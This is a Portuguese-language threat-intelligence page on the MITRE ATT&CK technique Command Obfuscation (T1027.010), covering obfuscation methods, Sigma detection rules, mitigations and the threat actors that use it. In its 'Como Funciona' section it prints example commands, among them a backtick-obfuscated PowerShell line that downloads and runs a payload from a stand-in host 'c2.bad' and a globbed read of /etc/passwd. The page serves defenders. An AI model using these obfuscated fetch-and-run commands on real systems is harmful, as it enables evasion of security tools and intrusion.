# T1027.010 - Command Obfuscation ## Técnica Pai Esta é uma sub-técnica de [[t1027-obfuscated-files|T1027 - T1027 - Obfuscated Files or Information]]. ## Descrição **Command Obfuscation** (T1027.010) é a técnica de embaralhar ou codificar comandos e scripts executados em um sistema para dificultar a análise por ferramentas de segurança, regras de detecção baseadas em assinatura e analistas humanos. O adversário mantém a funcionalidade maliciosa intacta enquanto altera a forma textual do comando a ponto de torná-lo irreconhecível para antivírus, EDR e SIEMs que dependem de padrões estáticos. A técnica afeta principalmente interpretadores de script como PowerShell, cmd.exe, bash e Python, mas também é aplicada a binários compilados que geram comandos dinâmicamente. Os métodos de ofuscação são variados e frequentemente combinados: codificação Base64 (`powershell -enc SGVsbG8=`), concatenação de strings (`"Wor"+"d.Application"`), uso de variáveis de ambiente e caracteres de escape (`p^o^w^e^r^s^h^e^l^l`), inversão de strings com `rev` no bash, globs do shell (`/???/c?t /etc/pa??wd`), e directory traversals para mascarar o binário invocado. Ferramentas automatizadas como `Invoke-Obfuscation` e `Invoke-DOSfuscation` permitem gerar variantes ofuscadas de payloads PowerShell em segundos, com dezenas de combinações possíveis que dificultam a criação de assinaturas estáticas eficazes. A técnica é especialmente eficaz contra defensores que dependem exclusivamente de YARA rules ou detecção por string matching. **Contexto Brasil/LATAM:** Command Obfuscation é onipresente em campanhas de malware que afetam o Brasil. O [[g0050-apt32|APT32 (OceanLotus)]] - ativo na região - é documentado pelo uso extensivo de scripts PowerShell e VBScript obfuscados em campanhas de espionagem contra alvos governamentais e corporativos brasileiros. Grupos de ransomware operando no Brasil, como afiliados do [[g1051-medusa-ransomware|Medusa]], utilizam loaders JavaScript e PowerShell com codificação multicamada (Base64 dentro de XOR dentro de Base64) para entregar payloads sem detecção por antivírus. Campanhas de [[t1566-phishing|phishing]] direcionadas a bancos brasileiros frequentemente distribuem droppers .js ou .vbs com ofuscação pesada, explorando a baixa taxa de detecção inicial em gateways de e-mail. O CERT.br documenta este padrão como um dos vetores mais consistentes em notificações de incidentes reportados. ## Attack Flow ```mermaid graph TB A["T1566<br/>Phishing<br/>(Entrega do Payload)"] --> B["T1059<br/>Command & Scripting<br/>Interpreter"] B --> C["T1027.010<br/>Command Obfuscation<br/>(Evasão de Defesas)"]:::highlight C --> D["T1105<br/>Ingress Tool Transfer<br/>(Download Payload)"] C --> E["T1055<br/>Process Injection<br/>(Execução Furtiva)"] D --> F["T1486<br/>Data Encrypted<br/>ou Exfiltração"] classDef highlight fill:#e74c3c,color:#fff ``` ## Como Funciona **1. Preparação** O adversário parte de um comando ou script funcional (ex: um stager PowerShell que baixa e executa um payload de um C2) e aplica uma ou mais camadas de ofuscação usando ferramentas automatizadas ou manualmente. A escolha da técnica depende do ambiente-alvo: PowerShell com Base64 é eficaz contra regras simples de antivírus, enquanto character substitution e environment variable substitution são mais resistentes a análise estática avançada. Grupos como [[g0094-kimsuky|Kimsuky]] e [[g0050-apt32|APT32]] constroem bibliotecas de variantes ofuscadas e rotacionam entre elas para evitar que uma regra detecte todas as campanhas. Exemplos concretos de ofuscação aplicados em incidentes reais: ```powershell # Ofuscação Base64 - clássica, detectável por muitos EDRs powershell -enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0... # Character substitution e concatenação - mais evasiva p`o`w`e`r`s`h`e`l`l -c "I`E`X(Ne`w-O`bje`ct Net.We`bC`lient).Dow`nloa`dStr`ing('http://c2.bad/payload')" # Directory traversal para mascarar binário C:\win\sys\..\..\..\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -c ... ``` **2. Execução** O comando ofuscado é entregue ao sistema via [[t1566-phishing|phishing]] (anexo malicioso, macro Office), [[t1189-drive-by-compromise|drive-by compromise]] ou [[t1059-command-and-scripting-interpreter|script interpreter]] já instalado. O interpretador (PowerShell, cmd, bash) decodifica e executa o payload em memória - frequentemente sem gravar nada em disco. Ferramentas como [[s0363-empire|Empire]] e [[s0154-cobalt-strike|Cobalt Strike]] geram stagers ofuscados automaticamente para cada operação. A execução em memória (`-enc` no PowerShell, `eval` no Python/JS, `exec` no bash) é especialmente difícil de detectar por antivírus tradicionais que analisam apenas arquivos em disco. **3. Pós-execução** Após a execução bem-sucedida do payload inicial, o adversário frequentemente continua usando ofuscação nas fases subsequentes: comandos de reconhecimento (`w`h`o`a`m`i`), transferência de ferramentas e execução de módulos adicionais. O [[s0589-sibot|Sibot]] e [[s0126-comrat|ComRAT]] são exemplos de malware que persistem com scripts ofuscados no registro do Windows ou em locais não convencionais. A detecção retroativa via logging de ScriptBlock (PowerShell) é a principal forma de identificar execuções ofuscadas mesmo após o incidente. ## Detecção **Event IDs e fontes de log relevantes:** | Event ID | Fonte | Descrição | |----------|-------|-----------| | `4104` | PowerShell/Operational | **ScriptBlock Logging** - registra o conteúdo deobfuscado do script antes da execução. O log mais valioso para detectar ofuscação PowerShell. Deve ser habilitado em todos os sistemas. | | `4103` | PowerShell/Operational | Module Logging - registra chamadas de módulo e parâmetros; captura invocações de `Invoke-Expression` e similares | | `400` | Windows PowerShell | Início de engine PowerShell - registra versão e host usado; monitorar versão 2.0 (sem logging ScriptBlock) como indicador de downgrade attack | | `4688` | Security | Criação de processo - monitorar `cmd.exe` e `powershell.exe` com argumentos codificados em Base64 (`-enc`, `-e`, `-encodedcommand`) | | `1` | Sysmon | Process Creaté - captura linha de comando completa incluindo argumentos ofuscados; essencial para correlação | **Sigma Rule - PowerShell Encoded Command (Base64 Obfuscation):** ```yaml title: PowerShell Encoded Command Execution id: e3f5a7b9-c3d5-7e9f-1a3b-c5d7e9f1a3b5 status: stable description: Detecta execução de PowerShell com argumento de comando codificado em Base64 - padrão clássico de ofuscação author: RunkIntel daté: 2026-03-24 logsource: product: windows category: process_creation detection: selection: Image|endswith: - '\powershell.exe' - '\pwsh.exe' CommandLine|contains: - ' -e ' - ' -en ' - ' -enc ' - ' -enco' - ' -encodedcommand' condition: selection falsepositives: - Scripts de automação legítimos que usam encoded commands (documentar e excluir por hash) - Ferramentas de gestão como SCCM/Intune em determinadas configurações level: medium tags: - attack.defense_evasion - attack.t1027.010 - attack.t1059.001 ``` **Sigma Rule - Detecção de Ofuscação por Character Substitution (cmd.exe):** ```yaml title: CMD Command Obfuscation via Carets and Special Characters id: f4a6b8c0-d4e6-8f0a-2b4c-d6e8f0a2b4c6 status: experimental description: Detecta tentativas de ofuscação no cmd.exe via uso excessivo de caracteres especiais (^, %, +) em argumentos de linha de comando author: RunkIntel daté: 2026-03-24 logsource: product: windows category: process_creation detection: selection: Image|endswith: '\cmd.exe' CommandLine|re: '([a-zA-Z]\^){3,}' condition: selection falsepositives: - Muito baixo - caracteres ^ são raramente usados em comandos legítimos de forma repetida level: high tags: - attack.defense_evasion - attack.t1027.010 ``` > **Dica de detecção:** Habilitar **PowerShell ScriptBlock Logging** (EventID 4104) é a medida mais impactante para detectar Command Obfuscation em ambientes Windows. Configure via GPO: `Computer Configuration > Administrative Templates > Windows Components > Windows PowerShell > Turn on PowerShell Script Block Logging`. O log registra o conteúdo DEOBFUSCADO - ou sejá, mesmo que o payload estejá em 10 camadas de Base64, o EventID 4104 vai mostrar o código real. Envie estes logs para o SIEM com prioridade máxima. ## Mitigação | ID | Mitigação | Implementação Prática para Organizações Brasileiras | |----|-----------|-----------------------------------------------------| | M1040 | [[m1040-behavior-prevention-on-endpoint\|M1040 - Behavior Prevention on Endpoint]] | Configurar EDR (CrowdStrike, Defender for Endpoint, SentinelOne) com regras de prevenção comportamental para execuções ofuscadas de PowerShell e cmd.exe. Habilitar AMSI (Antimalware Scan Interface) - examina scripts PowerShell antes da execução e deofusca o conteúdo antes de varrer. Configurar Constrained Language Mode no PowerShell para restringir operações de alto risco. | | M1049 | [[Antimalware]] | Manter antivírus com heurística comportamental habilitada - engines modernas detectam padrões de ofuscação mesmo sem assinatura específica. Soluções com integração AMSI são mais eficazes. Em ambientes brasileiros, a combinação Microsoft Defender (nativo + gratuito) + EDR de terceiro é a abordagem custo-efetiva mais documentada. Configurar varredura de scripts em tempo real. | | Logging avançado | - | Habilitar ScriptBlock Logging (EventID 4104), Module Logging (4103) e PowerShell Transcription em todos os sistemas Windows. Centralizar via SIEM. Esta configuração - ausente em grande parte das organizações brasileiras - é o controle mais eficaz e de menor custo para detectar ofuscação pós-execução em análise forense e hunting. | | AppLocker / WDAC | M1038 | Restringir execução de scripts PowerShell, VBScript e JScript a paths autorizados usando AppLocker ou Windows Defender Application Control. Bloquear `powershell.exe -enc` via regras de linha de comando. Reduz drasticamente superfície de ataque em ambientes que não precisam de scripting livre por usuários finais. | ## Threat Actors | Ator | Contexto | |------|----------| | [[g0143-aquatic-panda\|Aquatic Panda]] | Grupo chinês (APT41 nexus) que usa scripts PowerShell e Python ofuscados como stagers para carregar frameworks como [[s0154-cobalt-strike\|Cobalt Strike]] em campanhas de espionagem e intrusões em telecomúnicações. | | [[g0034-sandworm\|Sandworm Team]] | Grupo russo (GRU) responsável por ataques destrutivos como NotPetya; usa ofuscação em scripts de wiper e em payloads de implantação para sobreviver a análise inicial por antivírus corporativos. | | [[g1001-hexane\|HEXANE]] | APT iraniana focada em energia e telecomúnicações no Oriente Médio que utiliza VBScript e PowerShell com ofuscação multicamada para entrega de RATs e ferramentas de espionagem. | | [[g0077-leafminer\|Leafminer]] | Grupo de ciberespionagem iraniano que combina [[t1566-phishing\|phishing]] com scripts PowerShell altamente ofuscados para comprometer organizações governamentais e de energia. | | [[g0080-cobalt-group\|Cobalt Group]] | Grupo financeiramente motivado especializado em ataques a bancos; usa ofuscação em macros Office e scripts PowerShell para distribuir Cobalt Strike Beacons em ataques a instituições financeiras, incluindo no Brasil. | | [[g0094-kimsuky\|Kimsuky]] | APT norte-coreana que cria implantes de espionagem com múltiplas camadas de ofuscação em VBScript, PowerShell e AutoIt para campanhas de coleta de inteligência de longa duração. | | [[g1051-medusa-ransomware\|Medusa Group]] | Operação de ransomware que utiliza loaders JavaScript e PowerShell com ofuscação para bypassar gateways de e-mail e antivírus em ataques a empresas brasileiras documentados em 2024. | | [[g0117-fox-kitten\|Fox Kitten]] | APT iraniana que combina exploração de VPNs com payloads ofuscados em PowerShell para manter persistência em redes de infraestrutura crítica sem detecção prolongada. | | [[g0037-fin6\|FIN6]] | Grupo financeiramente motivado especializado em roubo de dados de pagamento; usa [[s0363-empire\|Empire]] com ofuscação para mover lateralmente em redes de varejo sem acionar alertas de antivírus. | | [[g0050-apt32\|APT32]] | Grupo vietnamita (OceanLotus) com histórico documentado de campanhas contra alvos brasileiros e LATAM, usando macros Office com payloads PowerShell obfuscados para espionagem corporativa e governamental. | ## Software Associado | Software | Tipo | Contexto | |----------|------|----------| | [[s1085-sardonic\|Sardonic]] | Malware | Backdoor do FIN8 que usa ofuscação em seu loader PowerShell para evitar detecção inicial durante comprometimento de alvos de varejo e hospitalidade. | | [[s0428-poetrat\|PoetRAT]] | Malware | RAT Python que aplica ofuscação em seus scripts de implantação e comandos C2 para operar em ambientes com monitoramento básico de rede. | | [[loudminer\|LoudMiner]] | Malware | Cryptominer que usa ofuscação de scripts de inicialização para persistir em sistemas macOS e Windows sem detecção por varreduras rotineiras. | | [[s0363-empire\|Empire]] | Framework ofensivo | Framework de pós-exploração PowerShell/Python com módulo de ofuscação integrado (`Invoke-Obfuscation`); amplamente usado por grupos de pentest e adversários para gerar variantes polimórficas de stagers. | | [[s1022-iceapple\|IceApple]] | Malware | Framework de pós-exploração voltado a ambientes IIS que usa ofuscação de código .NET in-memory para persistência furtiva em servidores web comprometidos. | | [[s0685-powerpunch\|PowerPunch]] | Malware | Downloader PowerShell com ofuscação multicamada usado como stager por grupos APT para baixar e executar implantes de segunda fase sem detecção por antivírus. | | [[badhatch\|BADHATCH]] | Malware | Backdoor do FIN8 com capacidade de executar comandos ofuscados em PowerShell e persistir via WMI subscriptions, documentado em ataques a sistemas de POS. | | [[s0354-denis\|Denis]] | Malware | Backdoor multiplataforma que usa ofuscação de DNS e comandos codificados para comunicação C2 furtiva, dificultando análise de tráfego de rede. | | [[s0589-sibot\|Sibot]] | Malware | Downloader de segundo estágio em VBScript com ofuscação pesada, usado pelo APT29 no contexto do [[solarwinds-supply-chain-attack\|SolarWinds]] para baixar implantes adicionais de forma furtiva. | | [[s0126-comrat\|ComRAT]] | Malware | Backdoor sofisticado do Turla que usa ofuscação em seu código de configuração e comúnicações C2, persistindo em sistemas-alvo por meses sem detecção em campanhas de espionagem de longa duração. | --- *Fonte: [MITRE ATT&CK - T1027.010](https://attack.mitre.org/techniques/T1027/010)*